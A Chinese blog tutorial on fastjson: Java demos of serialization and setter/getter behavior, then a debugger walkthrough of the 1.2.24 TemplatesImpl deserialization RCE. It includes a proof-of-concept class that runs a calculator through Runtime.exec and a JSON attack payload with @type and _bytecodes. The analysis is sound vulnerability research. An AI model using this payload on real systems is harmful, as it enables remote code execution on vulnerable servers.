从0开始fastjson漏洞分析

  关于fastjson漏洞利用参考:https://www.cnblogs.com/piaomiaohongchen/p/10799466.html

  fastjson这个漏洞出来了很久,一直没时间分析,耽搁了,今天捡起来

  因为我们要分析fastjson相关漏洞,所以我们先去学习fastjson的基础使用,如果我们连fastjson都不知道,更何谈漏洞分析呢?

  首先先搭建相关漏洞环境:

  使用maven,非常方便我们切换相关漏洞版本:

  pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>groupId</groupId>
    <artifactId>Java_Test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <!-- https://mvnrepository.com/artifact/com.google.common/google-collect -->
        <!-- https://mvnrepository.com/artifact/com.google.guava/guava -->
        <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
    <!--fastjson1.2.24环境安装-->
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>RELEASE</version>
            <scope>compile</scope>
        </dependency>
    </dependencies>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    
</project>

 

 

 

 

  然后点击刷新按钮,会自动帮我们安装相关依赖

  至此,我们就拥有了fastjson环境

  什么是fastjson?

      fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。 

  简单点说就是帮我们处理json数据的

      搓个demo:

    Student.java:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){

    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

 

  Teacher.java:

    

package com.test.fastjson;

import java.util.List;

public class Teacher {
    private int id;
    private String name;
    private List<Student> studentList;
    public Teacher(){

    }

    public Teacher(int id, String name, List<Student> studentList) {
        this.id = id;
        this.name = name;
        this.studentList = studentList;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public List<Student> getStudentList() {
        return studentList;
    }

    public void setStudentList(List<Student> studentList) {
        this.studentList = studentList;
    }

    @Override
    public String toString() {
        return "Teacher{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", studentList=" + studentList +
                '}';
    }
}

 

  

  编写测试类:

    

 @Test
    public void fastjson_test1(){
        Student student = new Student(1,"jack",24);
        System.out.println(JSON.toJSON(student));
    }

  

 

 

  把对象转换成json格式数据

  支持复杂的对象转换json处理:  

@Test
    public void fastjson_test2(){
       List<Student> studentList = new ArrayList<Student>();
       for(int i=0;i<4;i++){
           Student student = new Student(i, "jack" + i, 23 + i);
           studentList.add(student);
       }
       List<Teacher> teacherList = new ArrayList<Teacher>();
       Teacher teacher = new Teacher();
       teacher.setStudentList(studentList);
        System.out.println(JSON.toJSON(teacher));
    }

  

 

 

  除了使用toJSON方法转换外,还可以使用toJSONString方法:

    

@Test
    public void fastjson_test3(){
        Student student = new Student(1,"jack",24);
        System.out.println(JSON.toJSONString(student));
    }

 

  

 

 

   查看返回类型,String类型

  

 

 

  说明是把student对象数据转换成字符串json数据

  JSON.toJSONString的扩展:   

  需求如下:只需要Student对象的id和age字段,不要name字段,怎么做?

  

   @Test
    public void fastjson_test4(){
        Student student = new Student(1,"jack",24);
        //过滤只要id和age字段
        SimplePropertyPreFilter filter = new SimplePropertyPreFilter(Student.class,"id","age");
        String value = JSON.toJSONString(student, filter);
        System.out.println(value);
    }

  设置保留id和age字段

  

 

  通过上面的学习知道了如果想把对象转换成json数据可以使用JSON.toJSON,或者使用JSON.toJSONString

  我们继续学习,下一步我们尝试把json数据转换成对象,还原我们的对象:

  

//反序列化,str类型数据转换成class类型对象
    @Test
    public void fastjson_test5(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student);
        System.out.println("转换成json数据");
        System.out.println(value);
        System.out.println("str类型json数据转换成class类型对象");
        System.out.println(JSON.parseObject(value, Student.class));
    }

  

  

 

 

 

   通过上面代码,我们可以发现一个重点:

    fastjson会处理字符串类型的json数据,上面的value变量是字符串类型,这对我们后续漏洞分析很有帮助

   继续扩展JSON.toJSONString:

      

 @Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class);
        System.out.println(student1);
    }

    

 

 

  把结果输出出来:

    

{"@type":"com.test.fastjson.Student","age":24,"id":1,"name":"jack"}
Student{id=1, name='jack', age=24}

  发现多了个@type字段,说明了我们Student对象转换成json数据的数据类型,告诉我们是com.test.fastjson.Student类型的数据被转换成json数据了.

  我们继续学习:

    前面说了fastjson会处理我们的字符串json,直接写一段字符串json数据:

    

    @Test
    public void fastjson_test7(){
        String jsonStr="{\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(jsonStr);
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parseObject(jsonStr));
    }

 

  

 

 

  我们这样写,会发现最后字符串json没有转换成对象

  为什么? 

  因为fastjson找不到我们要转换的json数据在哪个类,这里我们要声明类型:

  再次修改:

    

@Test
    public void fastjson_test7(){
        String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parseObject(jsonStr));
    }

 

  

 

 

 

   有意思的地方来了,声明类型后的字符串json数据,fastjson并没有把它转换成对象:

  深入跟踪下:

   在JSON.parseObject处打个断点:

 

    跟进去:

    

 

 

  继续进函数:

    

 

 

    

value=Student{id=1, name='jack', age=24}

  继续下一步:

    

 

  

 return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);

  判断引用obj指向的对象是否是JSONObject,如果是就直接返回,否则就返回toJSON处理:

  继续下一步执行:

    

 

 

  熟悉吧toJSON,把我们的student对象再次转换成了json数据...:

    那么最后的返回就是:

    

 

 

  解决办法:使用parse替换parseObject:

    

@Test
    public void fastjson_test7(){
        String jsonStr="{\"@type\":\"com.test.fastjson.Student\",\"age\":24,\"id\":1,\"name\":\"jack\"}";
        System.out.println(getType(jsonStr));
        System.out.println(JSON.parse(jsonStr));
    }

  这一次,我们成功把字符串json数据转换成了对象:  

 

 

   可能作为开发,到这一步已经学完了基础的常用用法,但是对于安全来说,这里可能是否可能会存在安全隐患呢?

  猜测:fastjson会根据我们申明的类型,fastjson在反序列化我们的字符串json数据的时候,会把它转换成对象,那么如果我们的type字段上输入恶意类,是否会在java反序列化的时候导致安全问题呢?

  这就是fastjson安全漏洞的最初产生,恶意修改type类,导致安全问题

   深入研究fastjson的对象转json,json转对象的调用机制:

  修改我们的Student.java:

    

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

 

  消除我们的构造方法:

    编写测试方法:

    

@Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class);
        System.out.println(student1);
    }

 

    

 

 

  直接报错了,发现我们json转str失败,我们反序列化失败,报错提示默认的构造方法不存在,说明前置条件1:fastjson反序列化必须要构造方法

  再次修改student.java:

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必须调用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

  

  再次运行上面的测试方法:

    

 

 

 

    继续探索:

    再次修改student.java:

   

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必须调用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
        System.out.println("setId被调用");
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

 

  在set方法中新增了一条输出语句

    再次运行上面的测试方法:

    

 

 

  尝试删除set方法:

    修改student.java:

    

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必须调用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被调用");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

  代码中注释了setId方法

  再次运行:

  

 

 

  结论:反序列化对象的时候,如果对象中的属性定义是private,那么必须设置set方法,protected修饰符也是一样,必须设置set方法

  只有set方法,没有定义get方法可以被反序列化吗?

    注释掉get方法,保留set方法:

    

 

 

   结论:不可以,最起码在JSON.parseObject下是不可以的

  总结:使用JSON.parseObject反序列化的时候,属性字段如果是private和protected修饰的时候,必须有set和get方法,否则可能导致某些字段反序列化失败

  再次修改student.java文件:

    

package com.test.fastjson;

public class Student {
    public int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必须调用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

//    public int getId() {
//        return id;
//    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被调用");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

    修改private为public,注释掉set和get方法

  再次运行测试方法:

    

 

 

 

  结论:public字段下,set/get可有可无

  还是回到priavte字段问题,再次修改student.class:

    

package com.test.fastjson;

public class Student {
    private int id;
    private String name;
    private int age;

    public Student(){
        System.out.println("你必须调用我");
    }
    public Student(int id, String name, int age) {
        this.id = id;
        this.name = name;
        this.age = age;
    }

    public int getId() {
        return id;
    }

//    public void setId(int id) {
//        this.id = id;
//        System.out.println("setId被调用");
//    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

  注释了set方法,保留get方法:

   前面说了,set和get方法缺一不可,所以我们JSON.ParseObject,一定是反序列化失败的

   是否有解决方案?

      修改测试方法为:

    

 @Test
    public void fastjson_test6(){
        Student student = new Student(1,"jack",24);
        String value = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(value);
        Student student1 = JSON.parseObject(value, Student.class,Feature.SupportNonPublicField);
        System.out.println(student1);
    }

  再次运行:

 

 

  Feature.SupportNonPublicField可以让我们忽略设置set方法,只要设置get方法,就能达成反序列化

  最终结论总结:fastjson反序列化依赖于set和get方法,而且必须要有构造方法,最优先调用的是构造方法,fastjson设置Feature.SupportNonPublicField,可以忽略set方法,JSON.Parse反序列化和JSON.ParseObject一样

 

   好了,基础部分全部讲完了,包括他反序列化和字段以及构造方法的调用问题

  下面介绍fastjson第一个漏洞:

    利用链:Fastjson 1.2.24 远程代码执⾏&&TemplatesImpl,依赖Feature.SupportNonPublicField 利用链比较鸡肋

   但是分析这条利用链,可以让你很清楚知道fastjson内部是怎么进行序列化的,反序列化的,通过前面写的demo,我们已经对fastjson内部处理对象和json转换对象有了较为详细的认知

     poc构造:我是mac,windows直接calc即可:

      Poc1.java:

package com.test.fastjson;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Poc1 extends AbstractTranslet {
    public Poc1() throws IOException {
        Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws IOException {
        Poc1 poc1 = new Poc1();
    }
}

 

  编译运行一次生成字节码,然后全局base64编码:

    

 

   反序列化攻击:

    AttackPoc1.java:

package com.test.fastjson;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class AttackPoc1 {
    public static void main(String[] args) throws ClassNotFoundException {
        String payload3= "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":\n" +
                "[\"刚刚生成的base64编码的字节码数据\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":\n" +
                "{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}

  运行: 

 

 

 

   成功命令执行弹窗计算器

  原理分析,先抛出疑惑点:

    去除Feature.SupportNonPublicField还可以命令执行吗?

    

 

  运行没有命令执行,前面我们学习了Feature.SupportNonPublicField是当我们设置get方法,而没有设置set方法的补救,即使没有set方法也会帮我们反序列化成功

  跟进TemplatesImpl类:可以debug进去,这里我选择反射进去:

    

Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");

 

 

 

   以这个字段为例:

    

 

 

     

 

 

  搜索setOutputProperties:

    

 

   所以我们他一定要依赖于Feature.SupportNonPublicField

     打个断点,深入跟踪下:

      解决我们的几个疑惑

      (1)为什么_bytecodes定义的数据得是base64编码

      (2)fastjson反序列化是怎么走的?

  下个断点:  

  

 

 

  先搞清楚第一个问题bytecodes字节码为什么是base64编码:

       

  判断开头输入是否是{:

 

 

  继续往下:

 

    

 

  设置token为12,很重要,后面的判断都要基于token:

  

 

 

  一直下一步执行:

    

 

 

通过loadClass加载我们的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类:

  集合存储恶意类:

    

 

 

  

 然后不断判断我们的clazz是什么类型:

  

 

 

  不符合条件就继续往下找:

  通过反射获取所有的方法

      

 

 

  

 判断方法的定义规则:

  

 

   

if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
                    Class<?>[] types = method.getParameterTypes();

  方法名字要符合这个条件:

  获取字段:

    

 

 

  debug真的脑子疼:

  重点来了:

    反序列化字段:

    

 

   

 

  继续往下跟:

    

 

    继续往下:

    

 

 

  

 

 

   最后出函数调用parseObject:

   

 

 

 

 

  最后执行命令:

    

 

 

 

2.bytescodes base编码原由:

反序列化的时候调用:

  

 byte[] bytes = lexer.bytesValue();
            lexer.nextToken(16);

 

    

 

会调用base64解码:

 

 

 

 静态调试下:

    

 

 

  跟进方法:

  

 

 

  方法在接口类中,找接口实现类:

    搜索到一个:

    

 

 

  进去:

    

 

 

  发现是个抽象类:

    java基础核心概念:    

    

如果想实现抽象类中的方法,需要子类继承父类,然后重写方法.

  寻找他的子类:

    

 

 

  查看他的子类:

 

   

 

 

  

  他的父类是object:

    

 

 

  选择他的子类进去看看:

     搜索byteValue,查看其函数实现:

    

 

 

 

 

    至此第一条鸡肋的利用链分析完毕,明天我分析下不鸡肋的利用链,利用jndi注入直接rce  

 

  

 

 

 

 

 

 

  

 

  

 

  

posted @ 2021-05-17 20:16  飘渺红尘✨  阅读(1038)  评论(0编辑  收藏  举报
Title